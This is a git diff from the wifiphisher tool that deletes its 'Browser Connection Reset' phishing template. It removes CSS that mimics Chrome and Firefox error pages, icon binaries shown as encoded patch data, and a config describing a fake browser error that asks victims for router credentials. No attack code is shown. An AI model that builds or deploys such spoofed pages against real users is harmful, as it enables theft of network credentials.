z1dCgdLZ9U1?5jUdN_3_Y_?1^>pVK#RzccZ7f?c1H9k+ zUirGjOC8xI7ilS?{6Q+kh0H(v&ywXxd{V*z-;I+w&BjokQ+v>m0B~(*4{bjX1O#T! z61cI~?EgXxXvmR;0ATO4KIEU7oK-x+rn&iS)9Ol4_YkBLB!+VU795SyUv9KP*5q7 z!UCKO&(>_k9nqec_>TcJ*i8>g82jaT{|%WL_VO|%RoQtO=zYt&I`I=;Y-aZtNa0y+ z8?o0gMTS0`|NWmJi&W)3TzPSz&#zv$3KaF;`UA$~NZPD-mrKT!+O3#ktp>YyjTR0+ zZ|5sB(DCV88XSe(b9AC}PNVf|2<7*&GAPB5_Bn4?t@g#>>_d)EYoXvx==F3;E91lM zR-=H^<$JE%ijS+@gvq;cd(~Daq}Yxer2Mx3)@V;cD?9?4lWi^;poQSBGUn0>)Qvz{zymN-oHgS17Yg+;3H*DKCM+>G^3hKCib z&Z1wr5AE(nzVwh2>!ht<*|Ye2nA%kNcI8zK7oU&M5sqk+>`YPBUCMuUar(LW zXTLTzG_t5VDI?4jX)}${M5l;B$6GP*k>AkKFo}Q&O}LJ`M$;R@;qJW%nGo5W+fp?b zAF6rBtt1^Dg7=tYP(v{pTKFo|`0swdV}3kDM%Qp2Lhw21HQplYvaFsUKL>U<{n$f$ zzFnsf^an^^@QccI(Lf^yQk0Z5HzU~ODkzUz4*0+dO%&c>uQYgHkGUm*F!=p4dW`}$ z7yPwAueLk3;8EYtvR|TKg>kl*^|4^n_pr^2&q5?qF0=5duy$*|xn22BzyBKNBL^rC z;+6-!x@GJHYQvf$S_fv;A0a^0CdZ07c>f(cn-0DFb%=Ln6k5V6`vTI#)W77 zhzXC-H`H{4ptg&-^d8MGK5`StXiHMEzvvN75r3l0K8sgah#@UT17J{go0hzG8}Jt< z7bu4z5IOmtHs*1`FC2~VnTO^0Q_dM=P-Jw19ox_|9D0v`a-;_Z+Uq~K{OtWHw2a{@ zTjfiY_f*P`PqwgO$`*ZcAHNZgGo!2@dOW)LO7l#P1{!<2Pl=0x@VX`s21TO9fOHGc@9jTdC^21Tw;0V=EF}Zf_n0$XE zAzN?qOzocf0iM9ez;5v$4)3mQf}9vpf;t-4C$1t=7M2kKX_b$?2~Yv_^iWl5-vA7~ z4Hp6tCTn4A3z?=}Wz>BW$_*3pyEam0PMm;QRf40(JYcR7(b3j?92 zxVX26sJ1i$@n<$F_|>Vt!YUykqVuMq_f^0AeiwKo4m#q8D&JgaQFl_cb3&_v7rHoU z$-4f%&+S1upn~YTyQ&Cn;XB)6SDyzgAn&k{2q zSRtyrD&9h8i+>lJ)4A$YVjzP)-a+%>$=v-N!PeXfyE$#Jg23V~cbb;(`bpSGG4eo* zw)fB~sQcP7U^O9x9f+5HGNd6PNA$;1>dK}-7ke^kDK-xDwzU`c#b33*>ca|5j2h!d zU3X?)ct}8~PQUkLgU%Z9&wLkv${TASU>*?IdaaC|TF@QT{Q*Y=5mk+t&G`JV@5t5W zyKjNu^gTFy!+N@wT<koM!!F0WbDzIs_Y$Y&(O}Bgyzj?8thdvfEPtH4jwcIkFqK_( zP=WUeac!k?1S>IBf**TeA6b?LtAnf9z1aWyIg8k2-6s=JyBSG7NWI0pisl>Yrt_;Z zbvb+XulpJgVWR>zV9Gr%Ac8dF4Ala9_J(Kd4!E(^7z*ESwUYuE#2bZBgrZy+ivz#h zv;P}$QQLaCCZhFHh@3Ct62$|rhcpuW0o4tvaZ3KO;c=yYV0e3&^MY>Jec*gWP#BGY zxNbR$A4@4(E-xA2f_{KjWv5hG_e-yM!X zCLHS11nHGS-%=oByG@27yicycw*$H`?*bT(1WlJ`o#+5V<#ejSdP#S5(hp+OanKT7 zRQY+oHv}dyIeF#p9Dno3Mu z(8MJGPk@Fu%KqWS*Sb3D5&27F@d5*lpg`byoVn%lCTA2OMp)$F;hPv)Q;GR$lGQ3H zZ9;^)ZKj^*DZ94@wv=e4{4k_!#7mvG;T?nOV9#}!SwA|DtakLP`L3EmeHYZ_^L$1$ zF=V;5N~=;4Z}*do0)^U@CUdkFucc`SrcDV>9(!aq=Rja(H>mD+d5@QMPdJ=AO0=qr zy{TC5k1LS&RxnT1WNqA(dm#N=i>_jkvQG)vB;@*AXaBpv{5!d}r{jkzGU{*o<<%Vw zf^_N*96Mj) z-9qGELJ2n8W??~PiL?!`Xk9wdCzY62#FBcQQTOZ|A9twwX=d9cg6eFQl&J5;x+b*$B%7wA~EV$Dsw%i>vjNE*S?;8z2pSK$qbpV ztGx7%zJl)E`D>p{C9XuY;`vqa^!s1RX9_9_R&}iF-J^^cE1{x}d9%3&0135U zR(wc_uz7v6Z+fWx&!=!WDNBaZE3Maa@(na4bqO+pF$;s5=-dHraC@!C=!qs}J-DGm=x8;p{Vx$X#oNgEg!=(4$@_fEf#FCxI%u z{b0{HJ0k+4c$#3um`W1IIk6>5$gfgz#EL4$><=EiFvgdt_Lencfs8a1!Jw5TwaRYF26Je$_Qa5d zsG`aaUoP2Q!VkWIDU48}nK@S<&g(WCrF?g|mzD$r;S+!i66tJyo78LErO^b_3jV7p z9AzDrBE8v$b3lqGJY5m8QAe`yLl~!p?8C-^%tBeOj8eWev zC1%#bk1^x3-Xk*5b4^L3MrBY>lSMayx$icS>fb}Z0pHdG*FJ00?+wGv5Q1(bJAby?Pzz6I< z6aFoH;2Sx_fm^=@Kc|Jg4Pjt`v-ct1eWrMghqnIk@%i6n^c*ND^l^q)TL^GkA_nB` zGcj+F{56A{1s0sV$l`U>GnDZ(DcrssL)7k02m^Wsn9c4Dr}}RQ0VN_8(r0AVBn{pe z&F|ld@3MtxbxbWzM#Pa=juosJFBzH19WFVjAU$KKf2uf4RdSY0RipwDTN)-qCge*j zrI#)9|KD7R_wM(!MpX}8Bv`X*TFXx8?!jyN<}_+p$%*wchb@7jQdZRsOv(_Buq8rW z&}(IJ_#a7SNWhFS?l~4B@+;K+AwyA;WxiP~fek7vRhI>h+ z1LXLB2rrK<8NkouA}p^Kj{^^q`wP>Jg<$@BKu7G!uCiwi#6OY48Bi)TG7Ich2Jz#! zOQ~>$>+A@r$E{&XbiR^m`9W>ZbEM29{^2*&mYsp0p5L66Ty%3stRJIx5w#f;3?^)1 z1jiB!Ol1=CI4{U_wY}!fdqg|T3ZaLf?SPL{+;C3Kkd0s(gGZ5 zo@baJnRGqxM-|bX93meO{$$wGT8h%EC;mFwR?v{;tS^Hzr#L;N7alQ7fF2TO0#LpF zCIRwITWH^I=I_HkvI>3H!s*1@^D@l`a=rT+;ZqMk$#<%;w9I{OW|Ht6=Md&dSsA0f oIJ->?HK4V!Z diff --git a/wifiphisher/data/phishing-pages/connection_reset/chrome.css b/wifiphisher/data/phishing-pages/connection_reset/chrome.css deleted file mode 100644 index 865ef42..0000000 --- a/wifiphisher/data/phishing-pages/connection_reset/chrome.css +++ /dev/null @@ -1,70 +0,0 @@ -body { -background-color: rgb(241, 241, 241); -font-family: 'Segoe UI', Tahoma, sans-serif; -color: rgb(68, 68, 68); -} - -#center { -width: 658px; -height: 280px; -min-height: 280px; -position: absolute; -top: 0px; -bottom: 0px; -left: 0px; -right: 0px; -margin: auto; -border-radius: 2px; -box-shadow: rgba(50, 50, 50, 0.137255) 0px 4px 6px 1px; -box-sizing: border-box; -padding: 40px 35px 30px 47px; -} -#title { -font-size: 24px; -} - -#center-left { -width: 128px; -float: left; -padding-right: 10px; -} - -#center-right { -width: 570px; -} -#content { -font-size: 18px; -} - - -#center-below { -width: 460px; -margin-left: auto; -margin-right: auto; -padding-top: 40px; -} -#btnSubmit { -border: 1px solid rgb(66, 133, 244); -border-top-left-radius: 4px; -border-top-right-radius: 4px; -border-bottom-right-radius: 4px; -border-bottom-left-radius: 4px; -background: -webkit-linear-gradient(top, rgb(67, 135, 253), rgb(70, 131, 234)); -font: 13px/28px Arial, sans-serif; -padding: 0px 12px; -color: rgb(255, 255, 255); -margin-left: 25px; -width: 80px; -} - -#helpbutton { -color: rgb(142, 142, 142); -font-size: 14px; -} -#help { -padding-top: 30px; -display: none; -color: rgb(142, 142, 142); -font-size: 14px; -} - diff --git a/wifiphisher/data/phishing-pages/connection_reset/config.ini b/wifiphisher/data/phishing-pages/connection_reset/config.ini deleted file mode 100644 index 7c240c4..0000000 --- a/wifiphisher/data/phishing-pages/connection_reset/config.ini +++ /dev/null @@ -1,3 +0,0 @@ -[info] -Name: Browser Connection Reset -Description: A browser error message asking for router credentials. Customized accordingly based on victim's browser. diff --git a/wifiphisher/data/phishing-pages/connection_reset/firefox.css b/wifiphisher/data/phishing-pages/connection_reset/firefox.css deleted file mode 100644 index dd7cc8e..0000000 --- a/wifiphisher/data/phishing-pages/connection_reset/firefox.css +++ /dev/null @@ -1,65 +0,0 @@ -body { -background-color: rgb(240, 240, 240); -font-family: 'Segoe UI'; -color: rgb(66, 78, 90); -} - -#center { -width: 658px; -height: 280px; -min-height: 280px; -position: absolute; -top: 0px; -bottom: 0px; -left: 0px; -right: 0px; -margin: auto; -padding: 40px 35px 30px 47px; -} -#title { -font-size: 30px; -} - -#center-left { -width: 128px; -float: left; -padding-right: 10px; -} - -#center-right { -width: 570px; -} -#content { -font-size: 18px; -} - - -#center-below { -width: 460px; -margin-left: auto; -margin-right: auto; -padding-top: 40px; -} -#btnSubmit { -font-size: 1em; -width: 150px; -height: 30px; -padding: 4px; -color: #333333; -border: 1px solid rgba(23,50,77,.4); -border-radius: 5px; -background-color: #f1f1f1; -background-image: linear-gradient(#fff, rgba(255,255,255,.1)); -box-shadow: 0 1px 1px 0 #fff, inset 0 2px 2px 0 #fff; -} - -#helpbutton { -color: rgb(142, 142, 142); -font-size: 14px; -} -#help { -padding-top: 30px; -display: none; -color: rgb(142, 142, 142); -font-size: 14px; -} \ No newline at end of file diff --git a/wifiphisher/data/phishing-pages/connection_reset/icon/chrome.png b/wifiphisher/data/phishing-pages/connection_reset/icon/chrome.png deleted file mode 100644 index edeb6f24237330a2f28e48eb723649e3a3bbdf53..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 7578 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 diff --git a/wifiphisher/data/phishing-pages/connection_reset/icon/chrome_fav.ico b/wifiphisher/data/phishing-pages/connection_reset/icon/chrome_fav.ico deleted file mode 100644 index 08d90d3fcc06af9b1bbbb84cc03f5f177e1c94c2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1150 zcmbtSUrbY182=VD_hDN`vc;`?!6&lJhq*+^j6sJ$TiaWEd%49*TEwa;A)*KmCX0qa zmTfMM+Qd!9vMoy%q_^|I=`3zmErn9r-hcf=OA8K$f)Gs>mnD~NGVPZ0K&cgatWGGw%QNhf<1fQBzS-G z-o4dSU0pR*UtdB)Lp5bER8dA_6=gD2QD$=$MbkSdtM!AjUAq7{t`W@UAkcKMoa4g% z1Ob-4%iC;sc!p6C<}H>xyvY>ejmBHN!ElS$>wgc_)%lxhYA`f5HiFGI3M@OSbGejh zmn(&vn-%PED41pAxS`<&HX1{iVI*v^h}div@VL_^MDmK*WE$ypI7)h_GX^eKOxMwo&3AN6;r8|{ z@_43@!!d!jZ~q?c-W@=sC*mt4k4$Qj@c#WbdygC`>04V9;C9D#-QBtAuC6>jc`}EN zAD_ac9_)0+aZ8JcTU*n_PO0~z<{yoJoIrd8qjJz$M|yi4%z* zJRYV0*fGU>_^|ACI>j%0dc=s&H;FqtLo%6{-qnK1{5b6y#3v^}5)&1R4;JR*lhFmQ z_k88Wi$0CBa}}`q^eLni@pLjVfrozjQ6m_pe(ec?kW7Li%Ud5VEzXNVV!`LTPyb)ATFn&V86v4wk=jZUfnIbM0@_0Ho^`9gPp=-ZfeeeFlJk-|K zuIn}$>ODrs$IFU^=^eAP#gArZ3WNDv_JSxRoxfhcwngpRYPD{Zys-Uo8Nl-pi2!Jr U00@5uFh>!*2Jlw}0O|qwA84KB761SM diff --git a/wifiphisher/data/phishing-pages/connection_reset/icon/firefox.png b/wifiphisher/data/phishing-pages/connection_reset/icon/firefox.png deleted file mode 100644 index 188a92bf0a3dd7c84ad07e33f71d3d36711db770..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 5279 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 